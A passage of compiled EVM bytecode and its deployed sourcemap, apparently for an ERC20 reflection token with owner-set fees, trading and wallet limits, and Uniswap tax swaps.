f168461115c565b60048054611d1d9190612fe8565b8210611d2857600080fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d8c959493929190613123565b600060405180830381600087803b158015611da657600080fd5b505af1158015611dba573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b80611deb57611dea611e7f565b5b611df6848484611ec4565b80611e0457611e0361208f565b5b50505050565b6000806000611e176120ab565b91509150611e2e8183611e3590919063ffffffff16565b9250505090565b6000611e7783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061210a565b905092915050565b6000600754148015611e9357506000600854145b611ec2576007546002819055506008546003819055506000600a81905550600060078190555060006008819055505b565b600080600080600080611ed68761216d565b955095509550955095509550611f3486600f60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fc985600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600f60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120158161227d565b61201f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161207c919061279f565b60405180910390a3505050505050505050565b6002546007819055506003546008819055506064600a81905550565b600080600060095490506000670de0b6b3a764000090506120df670de0b6b3a7640000600954611e3590919063ffffffff16565b8210156120fd57600954670de0b6b3a7640000935093505050612106565b81819350935050505b9091565b60008083118290612151576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214891906125a5565b60405180910390fd5b506000838561216091906131ac565b9050809150509392505050565b600080600080600080600080600061218a8a600754600854612359565b925092509250600061219a611e0a565b905060008060006121ad8e8787876123ef565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a53565b905092915050565b600080828461222e9190612e4e565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90613229565b60405180910390fd5b8091505092915050565b6000612287611e0a565b9050600061229e828461249b90919063ffffffff16565b90506122f281600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826009546121d590919063ffffffff16565b6009819055505050565b6000806000806123856064612377888a61249b90919063ffffffff16565b611e3590919063ffffffff16565b905060006123af60646123a1888b61249b90919063ffffffff16565b611e3590919063ffffffff16565b905060006123d8826123ca858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612408858961249b90919063ffffffff16565b9050600061241f868961249b90919063ffffffff16565b90506000612436878961249b90919063ffffffff16565b9050600061245f8261245185876121d590919063ffffffff16565b6121d590919063ffffffff16565b90506000600a5414801561247a5750670de0b6b3a76400008b115b1561248457600093505b838184965096509650505050509450945094915050565b60008083036124ad576000905061250f565b600082846124bb9190612fe8565b90508284826124ca91906131ac565b1461250a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612501906132bb565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561254f578082015181840152602081019050612534565b60008484015250505050565b6000601f19601f8301169050919050565b600061257782612515565b6125818185612520565b9350612591818560208601612531565b61259a8161255b565b840191505092915050565b600060208201905081810360008301526125bf818461256c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125f7826125cc565b9050919050565b612607816125ec565b811461261257600080fd5b50565b600081359050612624816125fe565b92915050565b6000819050919050565b61263d8161262a565b811461264857600080fd5b50565b60008135905061265a81612634565b92915050565b60008060408385031215612677576126766125c7565b5b600061268585828601612615565b92505060206126968582860161264b565b9150509250929050565b60008115159050919050565b6126b5816126a0565b82525050565b60006020820190506126d060008301846126ac565b92915050565b600080604083850312156126ed576126ec6125c7565b5b60006126fb8582860161264b565b925050602061270c8582860161264b565b9150509250929050565b6000819050919050565b600061273b612736612731846125cc565b612716565b6125cc565b9050919050565b600061274d82612720565b9050919050565b600061275f82612742565b9050919050565b61276f81612754565b82525050565b600060208201905061278a6000830184612766565b92915050565b6127998161262a565b82525050565b60006020820190506127b46000830184612790565b92915050565b6000806000606084860312156127d3576127d26125c7565b5b60006127e186828701612615565b93505060206127f286828701612615565b92505060406128038682870161264b565b9150509250925092565b600060ff82169050919050565b6128238161280d565b82525050565b600060208201905061283e600083018461281a565b92915050565b61284d816125ec565b82525050565b60006020820190506128686000830184612844565b92915050565b600060208284031215612884576128836125c7565b5b600061289284828501612615565b91505092915050565b6000602082840312156128b1576128b06125c7565b5b60006128bf8482850161264b565b91505092915050565b600080604083850312156128df576128de6125c7565b5b60006128ed85828601612615565b92505060206128fe85828601612615565b9150509250929050565b60008060008060808587031215612922576129216125c7565b5b60006129308782880161264b565b94505060206129418782880161264b565b93505060406129528782880161264b565b92505060606129638782880161264b565b91505092959194509250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129a5602083612520565b91506129b08261296f565b602082019050919050565b600060208201905081810360008301526129d481612998565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612a37602683612520565b9150612a42826129db565b604082019050919050565b60006020820190508181036000830152612a6681612a2a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ac9602483612520565b9150612ad482612a6d565b604082019050919050565b60006020820190508181036000830152612af881612abc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b5b602283612520565b9150612b6682612aff565b604082019050919050565b60006020820190508181036000830152612b8a81612b4e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612bed602583612520565b9150612bf882612b91565b604082019050919050565b60006020820190508181036000830152612c1c81612be0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c7f602383612520565b9150612c8a82612c23565b604082019050919050565b60006020820190508181036000830152612cae81612c72565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d11602983612520565b9150612d1c82612cb5565b604082019050919050565b60006020820190508181036000830152612d4081612d04565b9050919050565b7f54726164696e67206973206e6f74206f70656e00000000000000000000000000600082015250565b6000612d7d601383612520565b9150612d8882612d47565b602082019050919050565b60006020820190508181036000830152612dac81612d70565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000612de9601c83612520565b9150612df482612db3565b602082019050919050565b60006020820190508181036000830152612e1881612ddc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e598261262a565b9150612e648361262a565b9250828201905080821115612e7c57612e7b612e1f565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000612ede602383612520565b9150612ee982612e82565b604082019050919050565b60006020820190508181036000830152612f0d81612ed1565b9050919050565b6000612f1f8261262a565b9150612f2a8361262a565b9250828203905081811115612f4257612f41612e1f565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612fb5816125fe565b92915050565b600060208284031215612fd157612fd06125c7565b5b6000612fdf84828501612fa6565b91505092915050565b6000612ff38261262a565b9150612ffe8361262a565b925082820261300c8161262a565b9150828204841483151761302357613022612e1f565b5b5092915050565b6000819050919050565b600061304f61304a6130458461302a565b612716565b61262a565b9050919050565b61305f81613034565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61309a816125ec565b82525050565b60006130ac8383613091565b60208301905092915050565b6000602082019050919050565b60006130d082613065565b6130da8185613070565b93506130e583613081565b8060005b838110156131165781516130fd88826130a0565b9750613108836130b8565b9250506001810190506130e9565b5085935050505092915050565b600060a0820190506131386000830188612790565b6131456020830187613056565b818103604083015261315781866130c5565b90506131666060830185612844565b6131736080830184612790565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006131b78261262a565b91506131c28361262a565b9250826131d2576131d161317d565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613213601b83612520565b915061321e826131dd565b602082019050919050565b6000602082019050818103600083015261324281613206565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006132a5602183612520565b91506132b082613249565b604082019050919050565b600060208201905081810360008301526132d481613298565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f7b579708d12cce6ad08cf6cda1f549b0a76518693004147c66da82763547d9d64736f6c63430008130033

Deployed Bytecode Sourcemap

3991:12311:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6520:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7468:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7308:154;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5383:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7223:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7616:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6593:66;;;;;;;;;;;;;:::i;:::-;;4228:59;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7150:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5431:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11609:235;;;;;;;;;;;;;:::i;:::-;;6742:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2035;;;;;;;;;;;;;:::i;:::-;;8849:130;;;;;;;;;;;;;:::i;:::-;;5186:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4353:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1866:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6665:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6870:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13420:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11364:236;;;;;;;;;;;;;:::i;:::-;;4294:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7016:128;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8070:383;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2163:220;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6520:67;6557:13;6580:5;;;;;;;;;;;;;;;;;6573:12;;6520:67;:::o;7468:136::-;7543:4;7550:39;7559:12;:10;:12::i;:::-;7573:7;7582:6;7550:8;:39::i;:::-;7598:4;7591:11;;7468:136;;;;:::o;7308:154::-;1976:12;:10;:12::i;:::-;1966:22;;:6;;;;;;;;;;:22;;;1958:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7421:11:::1;7403:15;:29;;;;7447:13;7434:10;:26;;;;7308:154:::0;;:::o;5383:41::-;;;;;;;;;;;;;:::o;7223:79::-;7276:7;4112:17;7286:14;;7223:79;:::o;7616:446::-;7748:4;7765:36;7775:6;7783:9;7794:6;7765:9;:36::i;:::-;7812:220;7835:6;7856:12;:10;:12::i;:::-;7883:138;7939:6;7883:138;;;;;;;;;;;;;;;;;:11;:19;7895:6;7883:19;;;;;;;;;;;;;;;:33;7903:12;:10;:12::i;:::-;7883:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7812:8;:220::i;:::-;8050:4;8043:11;;7616:446;;;;;:::o;6593:66::-;1976:12;:10;:12::i;:::-;1966:22;;:6;;;;;;;;;;:22;;;1958:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6653:4:::1;6639:11;;:18;;;;;;;;;;;;;;;;;;6593:66::o:0;4228:59::-;;;;:::o;7150:67::-;7191:5;4653:1;7199:16;;7150:67;:::o;5431:28::-;;;;;;;;;;;;;:::o;11609:235::-;11675:19;;;;;;;;;;;11659:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;11714:17;;;;;;;;;;;11698:33;;:12;:10;:12::i;:::-;:33;;;11659:72;11651:81;;;;;;11743:26;11772:21;11743:50;;11804:32;11817:18;11804:12;:32::i;:::-;11640:204;11609:235::o;6742:122::-;6808:7;6825:37;6845:7;:16;6853:7;6845:16;;;;;;;;;;;;;;;;6825:19;:37::i;:::-;6818:44;;6742:122;;;:::o;2035:::-;1976:12;:10;:12::i;:::-;1966:22;;:6;;;;;;;;;;:22;;;1958:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2132:1:::1;2095:40;;2116:6;::::0;::::1;;;;;;;;2095:40;;;;;;;;;;;;2153:1;2136:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2035:122::o:0;8849:130::-;1976:12;:10;:12::i;:::-;1966:22;;:6;;;;;;;;;;:22;;;1958:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8919:14:::1;8901:15;:32;;;;8957:14;8944:10;:27;;;;8849:130::o:0;5186:43::-;;;;;;;;;;;;;;;;;:::o;4353:52::-;;;;:::o;1866:63::-;1904:7;1921:6;;;;;;;;;;;1914:13;;1866:63;:::o;6665:71::-;6704:13;6727:7;;;;;;;;;;;;;;;;;6720:14;;6665:71;:::o;6870:140::-;6948:4;6954:42;6964:12;:10;:12::i;:::-;6978:9;6989:6;6954:9;:42::i;:::-;7004:4;6997:11;;6870:140;;;;:::o;13420:129::-;1976:12;:10;:12::i;:::-;1966:22;;:6;;;;;;;;;;:22;;;1958:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13523:18:::1;13501:19;:40;;;;13420:129:::0;:::o;11364:236::-;11430:19;;;;;;;;;;;11414:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;11469:17;;;;;;;;;;;11453:33;;:12;:10;:12::i;:::-;:33;;;11414:72;11406:81;;;;;;11498:23;11524:24;11542:4;11524:9;:24::i;:::-;11498:50;;11559:33;11576:15;11559:16;:33::i;:::-;11395:205;11364:236::o;4294:52::-;;;;:::o;7016:128::-;7097:7;7114:11;:18;7126:5;7114:18;;;;;;;;;;;;;;;:27;7133:7;7114:27;;;;;;;;;;;;;;;;7107:34;;7016:128;;;;:::o;8070:383::-;1976:12;:10;:12::i;:::-;1966:22;;:6;;;;;;;;;;:22;;;1958:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8255:11:::1;8239:12;:27;;;;8293:6;8277:7;:22;;;;8326:12;8310:13;:28;;;;8365:7;8349:8;:23;;;;8423:12;8415:6;8402:11;8390:55;8437:7;8390:55;;;;;;:::i;:::-;;;;;;;;8070:383:::0;;;;:::o;2163:220::-;1976:12;:10;:12::i;:::-;1966:22;;:6;;;;;;;;;;:22;;;1958:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2262:1:::1;2242:22;;:8;:22;;::::0;2234:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2353:8;2324:38;;2345:6;::::0;::::1;;;;;;;;2324:38;;;;;;;;;;;;2373:8;2364:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2163:220:::0;:::o;201:98::-;254:7;281:10;274:17;;201:98;:::o;8987:369::-;9131:1;9114:19;;:5;:19;;;9106:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9212:1;9193:21;;:7;:21;;;9185:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9294:6;9264:11;:18;9276:5;9264:18;;;;;;;;;;;;;;;:27;9283:7;9264:27;;;;;;;;;;;;;;;:36;;;;9332:7;9316:32;;9325:5;9316:32;;;9341:6;9316:32;;;;;;:::i;:::-;;;;;;;;8987:369;;;:::o;9365:1991::-;9503:1;9487:18;;:4;:18;;;9479:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9580:1;9566:16;;:2;:16;;;9558:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9650:1;9641:6;:10;9633:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9716:11;;;;;;;;;;;:30;;;;9739:7;:5;:7::i;:::-;9731:15;;:4;:15;;;9716:30;:47;;;;9756:7;:5;:7::i;:::-;9750:13;;:2;:13;;;9716:47;9708:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9810:7;:5;:7::i;:::-;9802:15;;:4;:15;;;;:32;;;;;9827:7;:5;:7::i;:::-;9821:13;;:2;:13;;;;9802:32;9798:985;;;9872:15;;9862:6;:25;;9854:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;9945:13;;;;;;;;;;;9939:19;;:2;:19;;;9936:142;;10012:10;;10003:6;9987:13;9997:2;9987:9;:13::i;:::-;:22;;;;:::i;:::-;:35;9979:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;9936:142;10095:28;10126:24;10144:4;10126:9;:24::i;:::-;10095:55;;10165:12;10204:19;;10180:20;:43;;10165:58;;10265:15;;10241:20;:39;10238:130;;10337:15;;10314:38;;10238:130;10389:7;:18;;;;;10401:6;;;;;;;;;;;10400:7;10389:18;:43;;;;;10419:13;;;;;;;;;;;10411:21;;:4;:21;;;;10389:43;:58;;;;;10436:11;;;;;;;;;;;10389:58;:87;;;;;10452:18;:24;10471:4;10452:24;;;;;;;;;;;;;;;;;;;;;;;;;10451:25;10389:87;:114;;;;;10481:18;:22;10500:2;10481:22;;;;;;;;;;;;;;;;;;;;;;;;;10480:23;10389:114;10385:387;;;10524:38;10541:20;10524:16;:38::i;:::-;10581:26;10610:21;10581:50;;10676:1;10655:18;:22;10651:106;;;10702:35;10715:21;10702:12;:35::i;:::-;10651:106;10505:267;10385:387;9836:947;;9798:985;10796:12;10811:4;10796:19;;10834:18;:24;10853:4;10834:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;10862:18;:22;10881:2;10862:22;;;;;;;;;;;;;;;;;;;;;;;;;10834:50;10829:465;;;10912:5;10902:15;;10829:465;;;10961:13;;;;;;;;;;;10953:21;;:4;:21;;;:55;;;;;10992:15;;;;;;;;;;;10978:30;;:2;:30;;;;10953:55;10950:155;;;11041:12;;11029:9;:24;;;;11082:7;;11072;:17;;;;10950:155;11132:13;;;;;;;;;;;11126:19;;:2;:19;;;:55;;;;;11165:15;;;;;;;;;;;11149:32;;:4;:32;;;;11126:55;11122:158;;;11214:13;;11202:9;:25;;;;11256:8;;11246:7;:18;;;;11122:158;10829:465;11307:41;11322:4;11328:2;11332:6;11340:7;11307:14;:41::i;:::-;9468:1888;9365:1991;;;:::o;657:224::-;777:7;810:1;805;:6;;813:12;797:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;837:9;853:1;849;:5;;;;:::i;:::-;837:17;;872:1;865:8;;;657:224;;;;;:::o;12401:101::-;12458:19;;;;;;;;;;;:28;;:36;12487:6;12458:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12401:101;:::o;15729:202::-;15824:7;15849:19;15871:10;:8;:10::i;:::-;15849:32;;15899:24;15911:11;15899:7;:11;;:24;;;;:::i;:::-;15892:31;;;15729:202;;;:::o;11852:540::-;5669:4;5660:6;;:13;;;;;;;;;;;;;;;;;;11930:21:::1;11968:1;11954:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11930:40;;11999:4;11981;11986:1;11981:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12025:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12015:4;12020:1;12015:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;12058:62;12075:4;12090:15;;;;;;;;;;;12108:11;12058:8;:62::i;:::-;12175:1;12153:19:::0;::::1;:23;;;;:::i;:::-;12139:11;:37;12131:46;;;::::0;::::1;;12188:15;;;;;;;;;;;:66;;;12269:11;12295:1;12311:4;12338;12358:15;12188:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11919:473;5705:5:::0;5696:6;;:14;;;;;;;;;;;;;;;;;;11852:540;:::o;12511:282::-;12667:7;12662:28;;12676:14;:12;:14::i;:::-;12662:28;12701:44;12719:6;12727:9;12738:6;12701:17;:44::i;:::-;12761:7;12756:29;;12770:15;:13;:15::i;:::-;12756:29;12511:282;;;;:::o;15557:164::-;15599:7;15620:15;15637;15656:19;:17;:19::i;:::-;15619:56;;;;15693:20;15705:7;15693;:11;;:20;;;;:::i;:::-;15686:27;;;;15557:164;:::o;1145:132::-;1203:7;1230:39;1234:1;1237;1230:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1223:46;;1145:132;;;;:::o;8461:234::-;8521:1;8508:9;;:14;:30;;;;;8537:1;8526:7;;:12;8508:30;8540:7;8504:43;8574:9;;8558:13;:25;;;;8608:7;;8594:11;:21;;;;8639:1;8626:10;:14;;;;8664:1;8652:9;:13;;;;8686:1;8676:7;:11;;;;8461:234;:::o;12802:610::-;12949:15;12979:23;13017:12;13044:23;13082:12;13109:13;13136:19;13147:7;13136:10;:19::i;:::-;12934:221;;;;;;;;;;;;13184:28;13204:7;13184;:15;13192:6;13184:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;13166:7;:15;13174:6;13166:15;;;;;;;;;;;;;;;:46;;;;13244:39;13267:15;13244:7;:18;13252:9;13244:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;13223:7;:18;13231:9;13223:18;;;;;;;;;;;;;;;:60;;;;13294:16;13304:5;13294:9;:16::i;:::-;13321:23;13333:4;13339;13321:11;:23::i;:::-;13377:9;13360:44;;13369:6;13360:44;;;13388:15;13360:44;;;;;;:::i;:::-;;;;;;;;12923:489;;;;;;12802:610;;;:::o;8704:136::-;8760:13;;8748:9;:25;;;;8794:11;;8784:7;:21;;;;8829:3;8816:10;:16;;;;8704:136::o;13558:257::-;13609:7;13618;13638:15;13656:7;;13638:25;;13674:15;4112:17;13674:25;;13724:20;4112:17;13724:7;;:11;;:20;;;;:::i;:::-;13714:7;:30;13710:61;;;13754:7;;4112:17;13746:25;;;;;;;;13710:61;13790:7;13799;13782:25;;;;;;13558:257;;;:::o;1286:223::-;1406:7;1438:1;1434;:5;1441:12;1426:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1465:9;1481:1;1477;:5;;;;:::i;:::-;1465:17;;1500:1;1493:8;;;1286:223;;;;;:::o;14455:615::-;14555:7;14577;14599;14621;14643;14665;14701:23;14726:12;14740:13;14770:40;14782:7;14791:9;;14802:7;;14770:11;:40::i;:::-;14700:110;;;;;;14821:19;14843:10;:8;:10::i;:::-;14821:32;;14865:15;14882:23;14907:12;14936:46;14948:7;14957:4;14963:5;14970:11;14936;:46::i;:::-;14864:118;;;;;;15001:7;15010:15;15027:4;15033:15;15050:4;15056:5;14993:69;;;;;;;;;;;;;;;;;;;14455:615;;;;;;;:::o;518:130::-;576:7;603:43;607:1;610;603:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;596:50;;518:130;;;;:::o;330:179::-;388:7;408:9;424:1;420;:5;;;;:::i;:::-;408:17;;449:1;444;:6;;436:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;500:1;493:8;;;330:179;;;;:::o;15939:211::-;15992:19;16014:10;:8;:10::i;:::-;15992:32;;16035:13;16051:22;16061:11;16051:5;:9;;:22;;;;:::i;:::-;16035:38;;16109:33;16136:5;16109:7;:22;16125:4;16109:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;16084:7;:22;16100:4;16084:22;;;;;;;;;;;;;;;:58;;;;15981:169;;15939:211;:::o;16159:103::-;16237:17;16249:4;16237:7;;:11;;:17;;;;:::i;:::-;16227:7;:27;;;;16159:103;;:::o;15079:469::-;15248:7;15270;15292;15327:12;15342:30;15368:3;15342:21;15354:8;15342:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;15327:45;;15383:13;15399:28;15423:3;15399:19;15411:6;15399:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;15383:44;;15438:23;15464:28;15486:5;15464:17;15476:4;15464:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;15438:54;;15511:15;15528:4;15534:5;15503:37;;;;;;;;;15079:469;;;;;;;:::o;13824:622::-;14018:7;14040;14062;14097:15;14115:24;14127:11;14115:7;:11;;:24;;;;:::i;:::-;14097:42;;14150:12;14165:21;14174:11;14165:4;:8;;:21;;;;:::i;:::-;14150:36;;14197:13;14213:22;14223:11;14213:5;:9;;:22;;;;:::i;:::-;14197:38;;14246:23;14272:28;14294:5;14272:17;14284:4;14272:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;14246:54;;14329:1;14315:10;;:15;:36;;;;;4112:17;14334:7;:17;14315:36;14311:78;;;14376:1;14366:11;;14311:78;14407:7;14416:15;14433:4;14399:39;;;;;;;;;;13824:622;;;;;;;;:::o;890:246::-;948:7;977:1;972;:6;968:47;;1002:1;995:8;;;;968:47;1025:9;1041:1;1037;:5;;;;:::i;:::-;1025:17;;1070:1;1065;1061;:5;;;;:::i;:::-;:10;1053:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1127:1;1120:8;;;890:246;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;